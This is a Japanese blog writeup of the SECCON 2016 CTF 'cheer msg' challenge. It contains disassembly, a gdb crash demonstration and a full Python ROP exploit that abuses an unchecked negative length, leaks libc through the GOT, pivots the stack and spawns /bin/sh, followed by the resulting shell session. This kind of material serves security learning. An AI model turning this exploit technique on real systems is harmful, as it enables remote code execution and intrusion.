読者です 読者をやめる 読者になる 読者になる

SECCON 2016 Online CTF 供養(Writeup)

CTF

SECCON 2016 Online CTFにチームで参加。 ほぼExploitジャンルのみを見ていたが、結局一番簡単な問題しか解けなかった。

cheer msg (Exploit 100)

アセンブリコードを見ると、Message Lengthの値に応じてespが引き上げられている(alloca相当の処理らしい)。

080485ca <main>:
 80485ca:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80485ce:       83 e4 f0                and    esp,0xfffffff0
 ...
 80485e7:       e8 21 01 00 00          call   804870d <getint>
 80485ec:       89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 80485ef:       8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 80485f2:       8d 50 0f                lea    edx,[eax+0xf]
 80485f5:       b8 10 00 00 00          mov    eax,0x10
 80485fa:       83 e8 01                sub    eax,0x1
 80485fd:       01 d0                   add    eax,edx
 80485ff:       b9 10 00 00 00          mov    ecx,0x10
 8048604:       ba 00 00 00 00          mov    edx,0x0
 8048609:       f7 f1                   div    ecx
 804860b:       6b c0 10                imul   eax,eax,0x10
 804860e:       29 c4                   sub    esp,eax

しかし、Message Lengthに負数チェックがされていないため、-150を入れるとmain関数からのリターン時に任意のアドレスにジャンプできる。

$ gdb ./cheer_msg
Reading symbols from ./cheer_msg...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/minipwn/cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -150
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message :

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
1: x/i $pc
=> 0x41414141:  <error: Cannot access memory at address 0x41414141>
(gdb) quit

ROPを用いてprintf関数でGOT上のlibc関数アドレスをリークした後、getnline関数でstageを読み込んでstack pivotを行い、system関数を呼ぶとシェルが起動する。 ただし、リモートサーバではASCII-armorが有効だったようでlibc_start_mainの下位1バイトが00なため、リーク時に1バイトずらして書き出す必要があった。

from minipwn import *

s = connect_process(['./cheer_msg'])
#s = socket.create_connection(('cheermsg.pwn.seccon.jp', 30527))
print s.recv(8192)
sendline(s, '-150')
print s.recv(8192)

plt_printf = 0x8048430
got_libc_start = 0x804a028
addr_pop_ebp = 0x80487af
addr_pop2_ebp = 0x80487ad
addr_getnline = 0x80486bd
addr_bss = 0x0804a800
addr_leave = 0x8048518

# the offset of libc_start_main of the remote libc is 0x00019a00
buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start)
#buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start+1)
buf += p32(addr_getnline) + p32(addr_pop2_ebp) + p32(addr_bss) + p32(100)
buf += p32(addr_bss-4)
buf += p32(addr_leave)

sendline(s, buf)
print recvuntil(s, 'Message : \n')
data = s.recv(8192)
addr_libc_start = u32(data[:4])
#addr_libc_start = u32('\x00'+data[:3])
print "[+] addr_libc_start = %x" % addr_libc_start
addr_system = addr_libc_start - 0x00018540 + 0x0003a920
#addr_system = addr_libc_start - 0x00019a00 + 0x00040310

buf = p32(addr_system) + 'BBBB' + p32(addr_bss+12)
buf += '/bin/sh\x00'

sendline(s, buf)
interact(s)
$ python solve.py
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >>
Message >>

Oops! I forgot to ask your name...
Can you tell me your name?

Name >>
Thank you 0�)��!
Message :

[+] addr_libc_start = f7564a00
id
uid=10168 gid=1001(cheer_msg) groups=1001(cheer_msg)
ls
cheer_msg
flag.txt
run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}

あとから考えると、printfなど他の関数のGOTをリークさせたほうが楽だった。

所感

他に解きたかった問題は以下。

  • jmper (Exploit 300)
  • checker (Exploit 300)
  • tinypad (Exploit 300)
  • chat (Exploit 500)